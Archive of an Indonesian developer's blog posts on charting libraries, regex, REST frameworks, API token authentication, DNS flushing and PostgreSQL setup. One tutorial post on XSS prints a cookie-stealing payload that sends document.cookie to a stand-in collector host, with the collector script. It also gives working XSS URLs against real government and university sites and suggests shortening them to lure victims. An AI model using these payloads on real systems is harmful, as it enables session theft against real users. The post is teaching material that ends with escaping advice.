Archive for the ‘ Code for Joy ’ Category

Ultimate Javascript Charting and Graphic Library List

Charting

Saya menghabiskan waktu yang cukup lama untuk menentukan Charting Library apa yang harus saya pakai pada project kali ini. Karena dalam menentukan sesuatu yang ingin kita pakai(dalam kasus kali ini yang dimaksud adalah Chart Library dan bukan yang lain) tentunya tidaklah mudah karena setiap orang memiliki selera yang berbeda-beda, serta kemampuan yang berbeda juga. Kemampuan yang saya maksud adalah Skill, Uang dan Waktu. Contohnya saja jika project yang sedang dikerjakan memiliki budget yang besar, maka saya tidak ambil pusing karena saya bisa membeli lisensi charting yang bagus(HighChart contohnya). Namun berbeda ketika budget yang dimiliki tidak banyak, maka kita harus mencari alternatif yang Free.

Posting kali ini bukan bertujuan untuk membahas Uang, atau bahkan tutorial membuat charting, tapi lebih kepada list charting yang bisa anda pilih. Baiklah langsung saja saya list semua Charting dan graphic library yang sudah saya temukan dan kumpulkan link-nya,

Silahkan pilih sesuai selera, kebutuhan dan budget anda. Namun perlu diingat bahwa kompabilitas sangatlah penting, pastikan Chart atau graphic library yang anda pilih bisa berjalan mulus dan bagus pada IE 6!

Tolong jika ada yang terlewatkan, beritahu saya lewat kolom komentar dibawah.

Mengenal lebih dalam XSS (Cross Site Scripting)

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. :D Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam

G-WAN Installation on Debian

Akhirnya setelah sekian lama saya menanti G-WAN untuk bisa mensuport PHP, dan sekarang sudah bisa(official). Menurut claim gwan, gwan sangatlah cepat dan ringan serta mengalahkan nginx dan varnish cache. Inilah yang membuat saya tertarik. Berhubung ada waktu luang, saya mencoba untuk menginstall G-WAN pada Debian(VM-Ware), dan cukup mudah ternyata.

Jangan lupa sebelum memulai, silahkan berdoa terlebih dahulu

  1. Install Debian terbaru.
    *Tutorial ini tidak mengikutsertakan cara menginstall Debian, silahkan anda cari sendiri di Google.
  2. Download gwan dari http://gwan.com/download.
    *Gunakan selalu 64bit jika OS yang anda gunakan adalah versi 64bit.
  3. Seteleh di download, silahkan extract di sebuah folder.
    *Jika anda menggunakan terminal/console, silahkan ketik lalu enter command berikut :

    su root
    wget http://gwan.com/archives/gwan_linux64-bit.tar.bz2
    tar -xjf gwan_linux64-bit.tar.bz2; cd gwan_linux64-bit

  4. Jika sudah, silahkan run saja dengan menjalankan file ‘gwan’

    ./gwan

  5. Jika anda menemukan error pada ‘kv_bench.c’, ini dikarenakan sqlite3 tidak terinstall atau tidak terinstall dengan baik. Jadi pastikan anda sudah menginstall sqlite3, namun jika ternyata sudah diinstall namun masih terdapat error, berarti anda harus menjalankan command berikut

    ln /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so

  6. Silahkan jalankan kembali gwan

Perlu diingat bahwa document root berada pada folder ’0.0.0.0_8080′

gwan localhost

Next post saya akan membahas lebih lanjut g-wan

Maaf jika tutorial ini tidak lengkap dan terkesan asal-asalan :D

REST extension/addons untuk Chrome dan Firefox

Jika anda sedang bermain-main dengan REST API, pasti anda membutuhkan sebuah applikasi untuk  mencobanya. Saya sangat menyarankan untuk menggunakan extension/addons pada browser karena akan memudahkan anda untuk mengintip dokumentasi API tersebut, yang biasanya juga diakses menggunakan browser. Saya sudah mencoba berbagai extension/addons pada browser untuk tujuan REST API Testing, dan menemukan banyak bugs pada beberapa extension/addons. Sehingga saya ingin berbaik hati untuk sharing REST API extension/addons yang well tested.

 

Chrome

Rest Console

Rest Console

 

Firefox

REST Client

Rest Client

 

Dua itu yang sudah saya test dan cukup baik dan stabil, yang lain banyak bugs dan tidak stabil.

Btw jika anda terbiasa dengan console, silahkan gunakan cURL

 

Happy Exploring :)

Regex lookbehind and negative lookahead

Lookbehind dan lookahead mungkin bukan kata yang asing, artinya mudah dimengerti, lihat kebelakang dan lihat kedepan :D . Tapi dalam regex(REGular EXpression), lookbehind dan lookahead digunakan untuk mencocokkan suatu pola sebelum atau sesudah ekspresi utama diberikan. Sekali lagi perlu diingat, regex bukanlah simbol aneh seperti hieroglyph, jadi kalau anda ingin belajar atau memperdalam Regex, maka hapuslah anggapan ‘regex susah’ dari otak anda sebelum anda memulainya.

Lookbehind dan lookahead mempunyai nilai positif dan negatif.

Positive Lookbehind(?<=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘ahmad’ maka pola ini cocok.

Negative lookbehind(?<!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

Positive Lookahead(?=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sesudah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini cocok.

Negative Lookahead(?!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan setelah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

 

Nah saya akan beri contoh super mudah dalam Sintax Regex yang sesungguhnya.

Saya mempunyai Text seperti berikut :

Ahmad
Fathi
Hadi
Ahmad Fathi
Fathi Hadi
Ahmad Fathi Hadi

Jika saya ingin mencari kata ‘Fathi’ maka sintax Regexnya sangat simple, yaitu ‘Fathi’.

Lalu bagaimana jika saya ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ ? Untuk melakukannya, kita membutuhkan sintax lookbehind(positive) yaitu ‘(?<=Ahmad )Fathi’, maka baris 4 dan 6 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sebelumnya tidak ada kata ‘Ahmad’ maka kita membutuhkan sintax lookbehind(negative), yaitu ‘(?<!Ahmad )Fathi’, maka baris 2 dan 5 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya ada kata ‘Hadi’, maka kita akan menggunakan lookahead(positive), yaitu ‘Fathi(?= Hadi)’, maka baris 5 dan 6 yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya tidak ada kata ‘Hadi’, maka kita akan menggunakan lookahead(negative), yaitu ‘Fathi(?! Hadi)’, maka baris 2 dan 4 yang cocok.

Selanjutnya anda juga bisa menggabungkan lookbehind dan lookahead, misalnya anda ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ dan sesudahnya terdapat kata ‘Hadi’. Sintaxnya adalah berikut ‘(?<=Ahmad )Fathi(?= Hadi)’, yang cocok adalah baris 6 karena lengkap.

 

Saya akan berikan contoh penerapan lookbehind dan lookahead pada aplikasi yang ingin mencari twitter username, polanya adalah @username. namun kita harus menggunakan bantuan lookbehind dan lookahead agar pola email tidak tertangkap(ahmad@fathihadi.net).

Saya sudah test untuk twitter @username berikut sintax regexnya(saya tidak mengcopy-nya dari manapun, melainkan murni berfikir dan mencobanya, dan mungkin polanya bisa salah untuk beberapa kemungkinan)

(?<=\s)@\w+(?!\S)

 

Semoga bermanfaat :)

* Jika anda tidak faham berarti saya yang tidak pintar dalam menulis, bukan karena anda yang kurang pintar.

* Tools untuk mencobanya secara online adalah link ini http://gskinner.com/RegExr/

Flat Token Authentication

Latar belakang

Saat ini saya tengah mengembangkan sebuah API(REST API) untuk moderasi konten digital seperti pada website, forum, dan sebagainya. Namun saya sadar bahwa keamanan(security) adalah hal yang amat penting dan krusial bagi semua pihak.

Akhirnya saya mulai mempelajari mekanisme security yang ada dan sudah umum di gunakan untuk API, hinggal akhirnya saya menemukan OAuth 1 dan OAuth 2. Pada saat ini OAuth 2 masih berupa draft dan belum resmi, namun kita bisa mempelajari konsepnya. Setelah membandingkan dan mencoba sendiri security OAuth 2, ternyata menurut saya tidak aman karena token bisa digunakan dimanapun dan berkali-kali. Kelebihan OAuth 2 adalah tidak begitu kompleks dan rumit seperti OAuth 1, namun seperti yang sudah saya jelaskan sebelumnya bahwa OAuth 2 masih berupa draft dan tidak aman(saya sudah membuktikannya). Anda bisa membaca link ini sebagai bahan bacaan dan pertimbangan tambahan http://hueniverse.com/2012/07/oauth-2-0-and-the-road-to-hell/

Sedangkan untuk OAuth 1, saya sudah mencoba dan memang cukup secure secara konsep dan implementasinya dan juga sudah dipakai oleh industry selama ini. Namun perlu diingat bahwa OAuth 1 dan OAuth 2 pada awalnya dirancang untuk konsep 3 Legged connection. Sehingga token akan menjadi sia-sia jika anda menggunakan konsep 2 legged. Bukan berarti OAuth 1 tidak mensuport 2 legged connection, namun hal ini akan sangat over kill. Jika anda menggunakan OAuth 1, pasti anda akan merasakan betapa kompleksnya aturan-aturan yang ada. Saya juga sudah mencoba beberapa OAuth library(official), dan saya cukup kaget ketika menemukan bugs yang hampir ada di semua library yang saya coba, yaitu bugs untuk Array of Array, dimana jika ditemukan variable seperti(Array of Array) ini maka pasti tidak akan masuk kedalam base string yang akan di generate sebagai signature. Ini merupakan bug yang sangat fatal. Saya heran kenapa bug ini tidak ada yang sadar dan membenarkannya dari awal OAuth ada(2008). Anda bisa lihat http://code.google.com/p/oauth-php/issues/detail?id=131

Namun sejauh ini memang OAuth 1 masih menjadi yang terbaik dan terbukti secara industry, aman dari banyak jenis serangan dan security issue, serta bisa digunakan pada HTTP(tidak membutuhkan SSL). Perlu anda ketahui saya menghabiskan waktu hampir 5 hari untuk mengerti konsep OAuth, dikarenakan saya mempelajari dari semua sudut, seperti konsep, security, Code dan implementasinya.

Saya merasa OAuth sangat terlalu kompleks untuk 2 legged connection dan mungkin ada solusi yang lebih mudah dan secure. Oleh karena itu saya menghabiskan waktu 2 hari untuk memikirkan alternative dan cara yang paling cocok untuk mekanisme 2 legged.

Masalah

OAuth 1 sangat kompleks untuk mekanisme 2 legged

Tujuan Penulisan

Karena melihat permasalahan yang ada, maka saya merancang konsep Flat Token Authentication dengan harapan tidak kompleks namun secure.

Pembatasan Masalah

Kali ini masalah akan dibatasi seputar konsep, keamanan dan kelayakan pada metode Flat Token Authentication. Serta konsep akan dibatasi hanya untuk 2 legged connection. Namun tidak menutup kemungkinan konsep ini bisa digunakan pada 3 legged atau n legged connection.

Catatan Awal

Sekali lagi saya ingin menyatakan bahwa tujuan saya adalah mencari alternative, dan meminta bantuan public untuk menilai dan memberikan masukan untuk solusi yang saya rancang, apakah layak atau tidak.

2 Legged Connection

2 legged

Spec

  1. API Server must use SSL
  2. Public Key and Private Key
  3. One Way Hash using SHA512
  4. Token Signature using HMAC(SHA512 and Private Key)
  5. One Time Token Expire

Untuk memangkas kompleksitas pada OAuth 1, serta memberikan level security maka API Server harus menggunakan SSL.

Konsep Flat Token Authentication membagi akses client terharap server menjadi dua bagian.

1. Client mengirimkan data atau action/perintah terhadap server (Contoh : client memberikan perintah untuk menghapus salah satu data user.)

2. Client meminta data dari server (Contoh : Client meminta data semua usernya.)

Karena menggunakan SSL, maka bisa dijamin koneksi dari Client ke Server tidak bisa di spoof. Namun tidak sebaliknya jika Server yang memulai koneksi ke client.

Client dan Server harus memiliki Public key dan Private key. Private key haruslah rahasia dan hanya di ketahui oleh Server dan Client. Sedangkan Public key bisa di ketahui oleh siapa saja.

Untuk hash pada saat verifikasi token, diharuskan menggunakan sha512.

Penandatanganan hanya dilakukan terhadap TOKEN yang di kirim oleh server ke Client. Konsep Flat Token Authentication tidak mengenal data signature karena sudah menggunakan SSL.

Skenario 1, Client mengirimkan data :

  1. [Client] mengirim data user barunya terhadap [Server]
  2. [Server] membalas dengan sebuah random token yang akan expire jika token tersebut sudah di konfirmasi oleh [Client]. Pada saat ini Server tidak akan menyimpan data user sebelum [Client] melakukan konfirmasi. Jika konfirmasi berhasil maupun gagal, maka token akan dibuang dan tidak dapat digunakan lagi oleh pihak manapun.
  3. [Client] harus melakukan konfirmasi dengan cara menandatangani token tersebut dengan HMAC menggunakan Private Key yang dimiliki, lalu mengirimkannya ke [Server].
  4. [Server] menerima signature baru tersebut dan mengeceknya dengan cara yang sama, yaitu menandatangani dengan cara HMAC(SHA512) menggunakan Private key. Jika valid, maka data user akan dimasukkan, jika tidak maka bisa dipastikan request data user tersebut dilakukan oleh Attacker.

Perlu diketahui bahwa point 1 dan 2 terlindungi dari penyadapan karena melalui HTTPS. Namun yang menjadi permasalahan adalah Penyerang bisa saja mengetahui public key dan melakukan request terhadap server. Oleh karena itu Server mengirimkan token dan seakan-akan mempercayai data yang dikirim tersebut. Namun tentunya Penyerang tidak bisa melakukan konfirmasi karena tidak mengetahui Private Key. Mari lihat Ilustrasi dibawah ini

Attacker Flat Token Authentication

Skenario 2, Client meminta data :

  1. [Client] meminta data semua Usernya ke [Server]
  2. [Server] membalas dengan sebuah token yang akan ditukar dengan data jika sudah di konfirmasi oleh [Client].
  3. [Client] menandatangani token tersebut dengan HMAC(SHA512) menggunakan Private Key yang dimilikinya dan mengimkan konfirmasi tersebut ke [Server].
  4. [Server] menerima konfirmasi tersebut dan melakukan pengecekan dengan cara yang sama, yaitu tandangan token dengan HMAC(SHA512) menggunakan Private Key, jika sama maka [Server] akan membalas dengan Data yang diminta. Setelah itu token pasti akan expire.

Dengan konsep yang sama, yaitu Server menahan untuk memberikan data, dan hanya memberikan token. Jika token berhasil di konfirmasi, maka token itu bisa ditukan dengan data yang diminta. Semua koneksi aman dari penyadapan dan pengubahan data karena melalui HTTPS.

Kekurangan utama dari system ini adalah dibutuhkan +1 connection or API Call untuk konfirmasi token. Namun hal ini sebanding dengan pengurangan drastis dari kerumitan ketika menggunakan OAuth v1.

Saya mohon lihat dan teliti segala celah. Masukan akan sangat berarti bagi saya untuk bisa memperbaiki konsep ini. Jika ternyata konsep ini tidak layak maka saya akan senang hati J. Jika anda tertarik untuk mengembangkannya bersama saya, maka kita bisa membuat working group seperti apa yang dilakukan OAuth selama ini.

Feedback bisa dikirimkan langsung pada comment di blog ini atau email  ke ahmadfathihadi [ at ] gmail.com dan cc ke ahmad [ at ] tandif.com.

Saya bisa dihubungi di +62 81 808 49 7749

PHP Metric prefix Class

1K

10K

100.9M

etc…

Sering bukan melihat angka dengan format seperti diatas ?

Agar tidak salah, lebih baik anda melihat table dibawah ini,

Metric prefixes
Prefix Symbol 1000m Decimal Short scale Long scale
yotta Y 10008 1000000000000000000000000 septillion quadrillion
zetta Z 10007 1000000000000000000000 sextillion trilliard
exa E 10006 1000000000000000000 quintillion trillion
peta P 10005 1000000000000000 quadrillion billiard
tera T 10004 1000000000000 trillion billion
giga G 10003 1000000000 billion milliard
mega M 10002 1000000 million
kilo k 10001 1000 thousand
hecto h 10002/3 100 hundred
deca da 10001/3 10 ten
10000 1 one
deci d 1000−1/3 0.1 tenth
centi c 1000−2/3 0.01 hundredth
milli m 1000−1 0.001 thousandth
micro μ 1000−2 0.000001 millionth
nano n 1000−3 0.000000001 billionth milliardth
pico p 1000−4 0.000000000001 trillionth billionth
femto f 1000−5 0.000000000000001 quadrillionth billiardth
atto a 1000−6 0.000000000000000001 quintillionth trillionth
zepto z 1000−7 0.000000000000000000001 sextillionth trilliardth
yocto y 1000−8 0.000000000000000000000001 septillionth quadrillionth

Berikut ini PHP Class yang telah saya modifikasi sedikit dan tidak banyak dari link ini

class MetricPrefix {
	public function decimalToSymbol($input)
    {
        $suffixes = array('', 'k', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y');
        $suffixIndex = 0;

        while(abs($input) >= 1000 && $suffixIndex < sizeof($suffixes))
        {
            $suffixIndex++;
            $input /= 1000;
        }

        return (
            $input > 0
                ? floor($input * 1000) / 1000
                : ceil($input * 1000) / 1000
            )
            . $suffixes[$suffixIndex];
    }
}

**Perlu diperhatikan bahwa class ini dimulai dari kilo(k) hingga yotta(Y)

cara menggunakannya

$metricPrefix = new MetricPrefix();
$metricPrefix->decimalToSymbol(1999990999999);

Semoga bermanfaat

RESTful API Frameworks for PHP

Selama ini saya sering mendapatkan pertanyaan bervariasi mengenai REST dan API. Kalau anda bingung apa itu REST silahkan searching sendiri di google atau bisa baca sedikit di link berikut http://augindonesia.org/tandif-filtering-rest-api-adobe-air/. Lalu sebagian teman-teman developer atau yang kebetulan ingin membuat juga REST API bertanya kepada saya bagaimana caranya. Sebenarnya sudah banyak bertebaran dimana-mana REST Framework yang tinggal dipakai, dan pastinya tergantung dari bahasa pemrograman yang akan dipakai.

Jika anda akan serius membuat REST API untuk konsumsi publik, saya amat sangat tidak menyarankan anda untuk menggunakan PHP, kecuali anda menyulapnya menggunakan hip-hop PHP. Well tanpa berbasa basi lagi, ini lah list RESTful API Frameworks untuk PHP :

  • Slim, Saya sangat menyukai yang satu ini karena pengembangannya termasuk yang paling aktif dan serius dibandingkan Framework sejenis lainnya dan cukup lengkap.
  • Restler, Ini yang termasuk paling mudah dan asik untuk newbie, saya menyarankan anda untuk mencoba ini terlebih dahulu, kebetulan saya pernah berkontribusi sedikit dan Developernya adalah teman saya https://twitter.com/_Arul. (Special Thanks for helping me all this time)
  • Frapi, Frapi menyediakan web apps untuk membuat kerangka code.
  • Apify, Jika anda sudah terbiasa dengan Zend Framework, maka pasti bisa menggunakan ini.
  • Recess, Yang satu ini menggunakan MVC Style.
  • Zend Framework, Zend Framework memang sangat disegani dan juga menyediakan Class Zend_Rest_Server. Tapi sayangnya sangat mengecewakan sekali. Ingat ! jangan pakai Zend Framework untuk membuat REST API Server.
  • Tonic, Anda bisa coba sendiri yang satu ini, terlihat mudah tapi sayangnya dokumentasi tidak jelas dan tidak lengkap.
  • Dave, Jangan pakai ya ! Developernya saja sudah tidak mau ngurus lagi :D
  • Epiphany, Support module dan cukup menarik
  • SimpleREST, Sangat simple dan saat ini baru mensuport GET dan POST saja.
  • Limonade, Menurut si developer Limonade terispirasi dari framework lainnya seperti Sinatra atau Camping di Ruby, dan Orbit di Lua.

Jika anda bertanya saya pilih mana ? saya akan pilih Restler dan Slim. keduanya memiliki keunggulan masing-masing, Jika anda ingin suatu yang mudah dan powerfull, silahkan gunakan Restler, Jika API yang akan anda bangun cukup rumit dan bersifat custom, silahkan gunakan Slim.

Sebagian framework diatas mendukung custom view, silahkan pilih dengan bijak !

UPDATE :

Pada saat pertama kali artikel ini ditulis, saya agak condong untuk memilih Slim, namun saya sangat kaget melihat update dari Restler dengan versi barunya, yaitu versi 3. Banyak sekali peningkatan dan sangat advance tanpa learning curve, sehingga saya sekarang sangat menyarankan untuk para pembaca menggunakan Restler 3(saat ini masih RC3).

Clear/Flush DNS cache di Windows / Linux / Mac

Bagi anda yang terus menerus mendapatkan DNS Error ketika sedang browsing, sedangkan komputer di sebelah anda atau komputer lainnya tidak mengalami masalah serupa, kemungkinan besar ini karena masalah DNS Cache pada komputer anda. Solusinya anda harus mereload DNS cache pada mesin anda. Terkadang ini terjadi juga kalau anda habis migrasi ns domain, dan masih saja ns merujuk ke alamat yang lama.

Dan berikut caranya,

Windows

  1. Start >> Run >> cmd (Pada windows Vista atau 7, klik kanan lalu Run as Administrator)
  2. Ketik “ipconfig /flushdns” (Tanpa kutip)

atau

  1. Start >> Run >> cmd (Pada windows Vista atau 7, klik kanan lalu Run as Administrator)
  2. Ketik “net stop dnscache” (Tanpa kutip)
  3. Ketik “net start dnscache” (Tanpa kutip)

Linux

  1. Ketik “cd /etc/rc.d/init.d” (Tanpa kutip)
  2. Ketik “./nscd restart ” (Tanpa kutip)

Mac Tiger

Ketik “lookupd -flushcache” (Tanpa kutip)

Mac Leopard

Ketik “dscacheutil -flushcache” (Tanpa kutip)

plperl on PostgreSQL 9.0.4

Yeah banyak sekali trouble yang saya hadapi sebagai tantangan dalam riset saya. Salah satunya adalah kekurangan regexp_replace pada PostgreSQL

berawal dari kebutuhan saya menggunakan engine regex untuk Unicode yang tidak bisa terpenuhi menggunakan fungsi bawaan PostgreSQL yaitu regexp_replace. Akhirnya saya terpaksa menggunakan engine regex milik Perl yang yang harus diinstal sebelum menggunakannya.

Instalnya cukup mudah, cukup dengan menjalankan perintah > createlang plperl dbname. Sebenarnya pada distribusinya PostgreSQL sudah menambahkan PL/PgSQL, PL/Tcl, PL/Perl, and PL/Python.  Dan masing masing database akan ikut diinstalkan jika menggunakan “template1″. Namun karena saya menggunakan “template0″ yang berarti kosong, jadi saya harus menjalankan perintah > createlang plperl dbname.

Permasalahannya adalah muncul error berikut :

createlang: language installation failed: ERROR:  could not load library “C:/Program Files (x86)/PostgreSQL/9.0/lib/plperl.dll”: The specified module could not be found.

Ya eror ini muncul karena dua kemungkinan, yaitu :

  • Belum diInstall-nya Pearl Itu sendiri
  • ATAU plperl.dll membutuhkan perl versi khusus.(Manja banget sih -_-!)

Hal yang harus dilakukan adalah dengan melihan ketergantungan si plperl.dll dengan menggunakan software Dependency walker dan lihat kebutuhan yang kurang. Pada komputer saya yang kurang adalah perl510.dll dan posgres.exe


Untuk Postgres.exe, caranya cukup mudah yaitu dengan memasukkan PATH “C:\Program Files (x86)\PostgreSQL\9.0\bin” pada “environment variables” di Windows. Berarti sekarang sisa yang bermasalah adalah versi Perl saya, sekarang saya harus menginstal versi yang sesuai, yaitu 5.10. Setelah mencari, akhirnya saya menemukan Strawberry Perl 5.10. Yeah, Instal dan jangan lupa restart database server anda dan jalankan kembali perintah > createlang plperl dbname. InsyaAllah semua akan berjalan lancar tanpa error.

Pesan : Software Dependency walker dapat anda gunakan untuk melihat ketergantungan dari plperl.dll, yang mungkin akan berbeda-beda untuk setiap kasus/versi dari PostgreSQL. Silahkan lihat apa yang kurang dan cari sendiri versi Perl yang sesuai.

Semoga bermanfaat

Ahmad Fathi hadi